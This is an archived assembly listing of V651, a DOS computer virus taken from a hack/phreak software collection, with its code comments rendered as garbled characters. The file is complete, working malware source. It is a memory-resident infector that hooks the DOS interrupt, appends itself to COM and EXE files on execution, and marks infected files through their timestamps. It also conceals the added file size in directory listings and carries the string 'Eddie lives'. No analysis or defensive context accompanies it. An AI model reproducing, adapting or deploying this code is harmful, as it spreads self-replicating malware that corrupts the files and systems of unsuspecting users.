home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / V651.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  18KB  |  395 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                                      ██
  6. ;██                             V651                                     ██
  7. ;██                                                                      ██
  8. ;██      Created:   17-Jan-80                                            ██
  9. ;██      Version:                                                        ██
  10. ;██      Passes:    9          Analysis Options on: ABCEFPX              ██
  11. ;██                                                                      ██
  12. ;██                                                                      ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.  
  15. data_1e         equ     84h                     ; (6FC2:0084=0)
  16. data_2e         equ     86h                     ; (6FC2:0086=0)
  17.  
  18. seg_a           segment byte public
  19.                 assume  cs:seg_a, ds:seg_a
  20.  
  21.  
  22.                 org     100h
  23.  
  24. v651            proc    far
  25.  
  26. start:
  27.                 jmp     loc_2                   ; (09EB)
  28.                 db      377 dup (0)
  29. data_4          dw      0                       ; Data table (indexed access)
  30. data_5          dw      0                       ; Data table (indexed access)
  31. data_6          dw      offset loc_1, seg loc_1 ;*Data table (indexed access)
  32. data_8          dw      0                       ; Data table (indexed access)
  33. data_9          dw      0                       ; Data table (indexed access)
  34. data_10         dw      0                       ; Data table (indexed access)
  35.                 db      0                       ; Data table (indexed access)
  36.                 db      0
  37. data_13         dw      0
  38.                 db      0, 0
  39. data_14         dw      0
  40. data_15         dw      0
  41. data_16         dw      0
  42. data_17         dd      00000h
  43.                 db      0, 0
  44. data_19         dd      00000h
  45. data_21         dw      0
  46. data_22         dw      0
  47.                 db      1863 dup (0)
  48. loc_2:
  49.                 call    sub_1                   ; (09EE)
  50.  
  51. v651            endp
  52.  
  53. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  54. ;                              SUBROUTINE
  55. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  56.  
  57. sub_1           proc    near
  58.                 pop     bx
  59.                 sub     bx,3                    ; bx - ¡á╖á½Ñ¡ áñ░Ñ▒
  60.                 push    ax
  61.                 sub     ax,ax
  62.                 mov     es,ax                   ; ES:=0
  63.                 mov     ax,es:[84h]             ; éºÑ¼á INT 21h óѬ▓«░á
  64.                 mov     cs:[bx+027Ch],ax        ; çá»áºóá offs ¡á INT 13h
  65.                 mov     ax,es:[86h]             ; éºÑ¼á seg ¡á INT 13h
  66.                 mov     cs:[bx+027Eh],ax        ; çá»áºóá seg ¡á INT 13h
  67.                 mov     ax,0A55Ah
  68.                 int     21h                     ; Å░«óÑ░┐óá ºá ░Ѻ¿ñÑ¡▓Ñ¡ ó¿░│▒
  69.                 cmp     ax,5AA5h
  70.                 je      loc_3                   ; Ç¬« Ñ ░Ѻ¿ñÑ¡▓Ñ¡. êº╡«ñ
  71.                 mov     ax,sp
  72.                 inc     ax
  73.                 mov     cl,4
  74.                 shr     ax,cl                   ; Shift w/zeros fill
  75.                 inc     ax
  76.                 mov     cx,ss
  77.                 add     ax,cx
  78.                 mov     cx,ds
  79.                 dec     cx                      ; ìἿ░á ¬░á┐▓ ¡á »░«ú░á¼á▓á
  80.                 mov     es,cx
  81.                 mov     di,2
  82.                 mov     dx,2Bh
  83.                 mov     cx,[di]                 ; é CX ▒Ñ ºá»¿▒óá ░ẼÑ░á ¡á »á¼Ñ▓▓á
  84.                 sub     cx,dx                   ; êºóáªñá «▓ CX , DX
  85.                 cmp     cx,ax                   ; Å░«óÑ░┐óá ñ὿ ¿¼á ¼┐▒▓« ºá ó¿░│▒á
  86.                 jb      loc_3                   ; Ç¬« ¡┐¼á ¿º½¿ºá
  87.                 sub     es:[di+1],dx            ; êºóáªñá ñ║½ª¿¡á▓á ¡á ó¿░│▒á «▓ ▓Ѭ│╣¿┐ í½«¬
  88.                 mov     [di],cx                 ; çỿ▒óá ¡«ó¿┐▓ ░ẼÑ░ ¡á »á¼Ñ▓▓á
  89.                 mov     es,cx
  90.                 mov     si,bx
  91.                 sub     di,di
  92.                 mov     cx,140h
  93.                 cld                             ; Å░ѼÑ▒▓óá ¬«ñá ó ú«░¡á▓á ╖á▒▓
  94.                 rep     movs word ptr es:[di],word ptr cs:[si]
  95.                 mov     ax,es                   ; AX:=ES
  96.                 mov     es,cx                   ; ES:=0
  97.                 cli
  98.                 mov     word ptr es:[84],0A7h   ; Å░«¼Ñ¡┐ INT 21h
  99.                 mov     es:[86],ax
  100.                 sti
  101. loc_3:
  102.                 push    ds
  103.                 pop     es
  104.                 mov     ax,cs:[bx+0288h]        ; çá░Ѫñá ┤½«ú ºá ▓¿»á ¡á ┤´á
  105.                 cmp     ax,5A4Dh                ; ö´á Ñ EXE ?
  106.                 je      loc_4
  107.                 cmp     ax,4D5Ah                ; ö´á Ñ EXE ?
  108.                 je      loc_4
  109.                 mov     di,100h                 ; é »░«▓¿óÑ¡ ▒½│╖á⌐ ┤´á Ñ COM
  110.                 mov     [di],ax
  111.                 mov     al,byte ptr [bx+28Ah]   ; é║º▒▓á¡«ó┐óá »║░ó¿▓Ñ 3 íá⌐▓á
  112.                 mov     [di+2],al
  113.                 pop     ax
  114.                 push    di
  115.                 retn                            ; é░║╣á │»░áó½Ñ¡¿Ñ▓« ¡á »░ú░á¼á▓á
  116. loc_4:
  117.                 pop     ax
  118.                 mov     dx,ds
  119.                 add     dx,10h                  ; Å░¿íáó┐ ¬║¼ ▒▓á░▓«ó¿┐ áñ░Ñ▒
  120.                 add     word ptr cs:[bx+0282h],dx  ; ▓Ѭ│╣¿┐ ▒Ñú¼Ñ¡▓
  121.                 add     dx,cs:[bx+0286h]        ; Å░¿íáó┐ ¬║¼ ▓Ѭ│╣¿┐ ▒Ñú¼Ñ¡▓
  122.                 mov     ss,dx                   ; «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS
  123.                 mov     sp,cs:[bx+0284h]        ; é║º▒▓á¡«ó┐óá SP
  124.                 jmp     dword ptr cs:[bx+0280h] ; Å░Ñ╡«ñ ¬║¼ ó╡«ñ¡á▓á ▓«╖¬á ¡á ┤´á
  125.  
  126. ;-----------------------------------------------------------------------------
  127.  
  128.                 sti                             ; é╡«ñ¡á ▓«╖¬á ¡á INT 21h
  129.                 cmp     ax,4B00h                ; Exec read & exec
  130.                 je      loc_10
  131.                 cmp     ah,11h                  ; FindFirst FCB
  132.                 je      loc_5
  133.                 cmp     ah,12h                  ; FindNext FCB
  134.                 je      loc_5
  135.                 cmp     ax,0A55Ah
  136.                 je      loc_9                   ; Jump if equal
  137.                 jmp     loc_28                  ; (0C44)
  138. loc_5:
  139.                 pushf                           ; Push flags
  140.                 call    dword ptr cs:data_4     ; (6FC2:027C=0)
  141.                 test    al,al                   ; Å░«óÑ░┐óá ñ὿ Ñ ¡á¼Ñ░Ñ¡ ┤´
  142.                 jnz     loc_ret_8               ; Ç¬« ¡Ñ êçòÄä!
  143.                 push    ax
  144.                 push    bx                      ; çá»áºóá AX,BX,ES
  145.                 push    es
  146.                 mov     bx,dx
  147.                 mov     al,[bx]
  148.                 push    ax
  149.                 mov     ah,2Fh                  ; '/'
  150.                 int     21h                     ; DOS Services  ah=function 2Fh
  151.                                                 ;  get DTA ptr into es:bx
  152.                 pop     ax
  153.                 inc     al
  154.                 jnz     loc_6                   ; Jump if not zero
  155.                 add     bx,7
  156. loc_6:
  157.                 mov     ax,es:[bx+17h]
  158.                 and     al,1Fh                  ; Å░«óÑ░┐óá ñ὿ Ñ ºá░áºÑ¡
  159.                 cmp     al,1Fh
  160.                 jne     loc_7
  161.                 and     byte ptr es:[bx+17h],0E0h
  162.                 sub     word ptr es:[bx+1Dh],28Bh  ; è«░¿ú¿░á ñ║½ª¿¡á▓á
  163.                 sbb     word ptr es:[bx+1Fh],0
  164. loc_7:
  165.                 pop     es
  166.                 pop     bx                     ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
  167.                 pop     ax
  168.  
  169. loc_ret_8:
  170.                 iret                            ; Interrupt return
  171. loc_9:
  172.                 not     ax                      ; Æ«óá Ñ ┤│¡¬╢¿┐ A55A
  173.                 iret                            ; Interrupt return
  174. loc_10:
  175.                 push    ds
  176.                 push    es
  177.                 push    ax                       ; éºÑ¼á INT 24h
  178.                 push    bx
  179.                 push    cx
  180.                 push    dx
  181.                 push    si
  182.                 push    di
  183.                 mov     ax,3524h
  184.                 int     21h                     ; DOS Services  ah=function 35h
  185.                                                 ;  get intrpt vector al in es:bx
  186.                 push    es
  187.                 push    bx
  188.                 push    ds
  189.                 push    dx                       ; Å░«¼Ñ¡┐ INT 24h
  190.                 push    cs
  191.                 pop     ds
  192.                 mov     dx,25Eh
  193.                 mov     ax,2524h
  194.                 int     21h                     ; DOS Services  ah=function 25h
  195.                                                 ;  set intrpt vector al to ds:dx
  196.                 pop     dx
  197.                 pop     ds
  198.                 mov     ax,4300h                ; éºÑ¼á á▓░¿í│▓¿▓Ñ ¡á ┤´á
  199.                 int     21h                     ; DOS Services  ah=function 43h
  200.                                                 ;  get/set file attrb, nam@ds:dx
  201.                 jnc     loc_11                  ; Jump if carry=0
  202.                 sub     cx,cx
  203.                 jmp     loc_26                  ; êº╡«ñ
  204. loc_11:
  205.                 push    cx
  206.                 test    cl,1
  207.                 jz      loc_12                  ; Å░«óÑ░┐óá ñ὿ ¡┐¼á ó¬½╛╖Ñ¡ read-only
  208.                 dec     cx
  209.                 mov     ax,4301h                ; Å░«¼Ñ¡┐ á▓░¿í│▓¿▓Ñ ¡á ┤´á
  210.                 int     21h                     ; DOS Services  ah=function 43h
  211.                                                 ;  get/set file attrb, nam@ds:dx
  212. loc_12:
  213.                 mov     ax,3D02h                ; Ä▓óá░┐ ┤´á
  214.                 int     21h
  215.  
  216.                 push    cs
  217.                 pop     ds
  218.                 jnc     loc_13                  ; Jump if carry=0
  219.                 jmp     loc_25                  ; (0C2A)
  220. loc_13:
  221.                 mov     bx,ax
  222.                 mov     ax,5700h                ; éºÑ¼á ó░ѼÑ▓« ¡á ┤´á
  223.                 int     21h                     ; DOS Services  ah=function 57h
  224.                                                 ;  get/set file date & time
  225.                 jc      loc_14                  ; Jump if carry Set
  226.                 mov     al,cl
  227.                 or      cl,1Fh                  ; Å░«óÑ░┐óá ┤´ᠺá░áºÑ¡ ½¿ Ñ
  228.                 cmp     al,cl
  229.                 jne     loc_15                  ; Jump if not equal
  230. loc_14:
  231.                 jmp     loc_24                  ; (0C26)
  232. loc_15:
  233.                 push    cx
  234.                 push    dx
  235.                 mov     dx,288h
  236.                 mov     cx,18h
  237.                 mov     ah,3Fh                  ; ùÑ▓Ñ »░Ñ┤¿¬▒á ¡á EXE
  238.                 int     21h                     ; DOS Services  ah=function 3Fh
  239.                                                 ;  read file, cx=bytes, to ds:dx
  240.                 jc      loc_16                  ; Jump if carry Set
  241.                 sub     cx,ax
  242.                 jnz     loc_16                  ; Jump if not zero
  243.                 les     ax,data_17              ; çừ¼¡┐ «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS ¿ SP
  244.                 mov     data_8,es               ; (6FC2:0284=0) => SS
  245.                 mov     data_9,ax               ; (6FC2:0286=0) => SP
  246.                 les     ax,data_19              ; çừ¼¡┐ «▓¼Ñ▒▓óá¡Ñ▓« ¡á CS ¿ IP
  247.                 mov     word ptr data_6,ax      ; (6FC2:0280=0) => IP
  248.                 mov     word ptr data_6+2,es    ; (6FC2:0282=0) => CS
  249.                 mov     dx,cx
  250.                 mov     ax,4202h
  251.                 int     21h                     ; DOS Services  ah=function 42h
  252.                                                 ;  move file ptr, cx,dx=offset
  253.                 jc      loc_16                  ; Jump if carry Set
  254.                 mov     data_21,ax              ; (6FC2:02A0=0)
  255.                 mov     data_22,dx              ; (6FC2:02A2=0)
  256.                 mov     cx,28Bh
  257.                 cmp     ax,cx
  258.                 sbb     dx,0
  259.                 jc      loc_16                  ; Jump if carry Set
  260.                 call    sub_2                   ; Å░«óÑ░┐óá ñ὿ Ñ EXE
  261.                 jz      loc_17                  ; Jump if zero
  262.                 cmp     ax,0FB75h               ; Å░«óÑ░┐óá ñ὿ Ñ ó║º¼«ª¡« ñá ▒Ñ ºá»¿╕Ñ
  263.                 jb      loc_17                  ; Jump if below
  264. loc_16:
  265.                 jmp     loc_22                  ; (0C1C)
  266. loc_17:
  267.                 sub     dx,dx
  268.                 mov     ah,40h                  ; çỿ▒óá ó¿░│▒á ó ¬░á┐ ¡á ┤´á
  269.                 int     21h                     ; DOS Services  ah=function 40h
  270.                                                 ;  write file cx=bytes, to ds:dx
  271.                 jc      loc_16                  ; Jump if carry Set
  272.                 sub     cx,ax
  273.                 jnz     loc_16                  ; Jump if not zero
  274.                 mov     dx,cx
  275.                 mov     ax,4200h                ; Å░ѼÑ▒▓óá FP ó ¡á╖Ὣ▓« ¡á ┤´á
  276.                 int     21h                     ; DOS Services  ah=function 42h
  277.                                                 ;  move file ptr, cx,dx=offset
  278.                 jc      loc_16                  ; Jump if carry Set
  279.                 mov     ax,data_21              ; (6FC2:02A0=0)
  280.                 call    sub_2                   ; Å░«óÑ░┐óá ñ὿ Ñ EXE
  281.                 jnz     loc_20                  ; Jump if not zero
  282.                 mov     dx,data_22              ; (6FC2:02A2=0)
  283.                 mov     cx,4
  284.                 mov     si,data_14              ; (6FC2:0290=0)
  285.                 sub     di,di
  286.  
  287. locloop_18:
  288.                 shl     si,1                    ; Shift w/zeros fill
  289.                 rcl     di,1                    ; Rotate thru carry
  290.                 loop    locloop_18              ; Loop if cx > 0
  291.  
  292.                 sub     ax,si
  293.                 sbb     dx,di
  294.                 mov     cl,0Ch
  295.                 shl     dx,cl                   ; Shift w/zeros fill
  296.                 mov     word ptr data_19,ax     ; (6FC2:029C=0)
  297.                 mov     word ptr data_19+2,dx   ; (6FC2:029E=0)
  298.                 add     dx,31h
  299.                 nop                             ; è«░¿ú¿░á »░Ñ┤¿¬▒á
  300.                 mov     word ptr data_17+2,ax   ; (6FC2:0298=0)
  301.                 mov     word ptr data_17,dx     ; (6FC2:0296=0)
  302.                 add     data_15,9               ; (6FC2:0292=0)
  303.                 mov     ax,data_15              ; (6FC2:0292=0)
  304.                 cmp     ax,data_16              ; (6FC2:0294=0)
  305.                 jb      loc_19                  ; Jump if below
  306.                 mov     data_16,ax              ; (6FC2:0294=0)
  307. loc_19:
  308.                 mov     ax,word ptr ds:[28Ah]   ; (6FC2:028A=0)
  309.                 add     ax,28Bh
  310.                 push    ax
  311.                 and     ah,1
  312.                 mov     word ptr ds:[28Ah],ax   ; (6FC2:028A=0)
  313.                 pop     ax
  314.                 mov     cl,9
  315.                 shr     ax,cl                   ; Shift w/zeros fill
  316.                 add     data_13,ax              ; (6FC2:028C=0)
  317.                 jmp     short loc_21            ; (0C0C)
  318. loc_20:
  319.                 sub     ax,3
  320.                 mov     byte ptr data_10,0E9h   ; (6FC2:0288=0)
  321.                 mov     word ptr data_10+1,ax   ; (6FC2:0289=0)
  322. loc_21:
  323.                 mov     dx,288h
  324.                 mov     cx,18h
  325.                 mov     ah,40h                  ; çỿ▒óá »░Ñ┤¿¬▒á
  326.                 int     21h                     ; DOS Services  ah=function 40h
  327.                                                 ;  write file cx=bytes, to ds:dx
  328.                 jc      loc_22                  ; Jump if carry Set
  329.                 cmp     ax,cx
  330.                 je      loc_23                  ; Jump if equal
  331. loc_22:
  332.                 stc                             ; Set carry flag
  333. loc_23:
  334.                 pop     dx
  335.                 pop     cx
  336.                 jc      loc_24                  ; é║º▒▓á¡«ó┐óá ó░ѼÑ▓«
  337.                 mov     ax,5701h
  338.                 int     21h                     ; DOS Services  ah=function 57h
  339.                                                 ;  get/set file date & time
  340. loc_24:
  341.                 mov     ah,3Eh                  ; çá▓óá░┐ ┤´á
  342.                 int     21h
  343. loc_25:
  344.                 pop     cx
  345. loc_26:
  346.                 test    cl,1
  347.                 jz      loc_27                  ; Jump if zero
  348.                 mov     ax,4301h                ; é║º▒▓á¡«ó┐óá á▓░¿í│▓¿▓Ñ
  349.                 int     21h                     ; DOS Services  ah=function 43h
  350.                                                 ;  get/set file attrb, nam@ds:dx
  351. loc_27:
  352.                 pop     dx
  353.                 pop     ds
  354.                 mov     ax,2524h
  355.                 int     21h                     ; é║º▒▓á¡«ó┐óá INT 24h
  356.                 pop     di
  357.                 pop     si
  358.                 pop     dx
  359.                 pop     cx                      ; é║º▒▓á¡«ó┐óá ░Ñú¿▒▓░¿▓Ñ
  360.                 pop     bx
  361.                 pop     ax
  362.                 pop     es
  363.                 pop     ds
  364. loc_28:
  365.                 jmp     dword ptr cs:data_4     ; (6FC2:027C=0)
  366.                 mov     al,3
  367.                 iret                            ; Interrupt return
  368. sub_1           endp
  369.  
  370.  
  371. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  372. ;                              SUBROUTINE
  373. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  374.  
  375. sub_2           proc    near                    ; Å░«óÑ░┐óá ñ὿ ┤á⌐½á Ñ EXE
  376.                 mov     si,data_10              ; (6FC2:0288=0)
  377.                 cmp     si,5A4Dh
  378.                 je      loc_ret_29              ; Jump if equal
  379.                 cmp     si,4D5Ah
  380.  
  381. loc_ret_29:
  382.                 retn
  383. sub_2           endp
  384.  
  385.                 db      'Eddie lives'
  386. otmestwania     db      0, 60h, 14h, 8Eh, 2, 0
  387.                 db      7 dup (0)
  388. First_inst:     db      0CDh, 20h, 0
  389.  
  390. seg_a           ends
  391.  
  392.  
  393.  
  394.                 end     start
  395.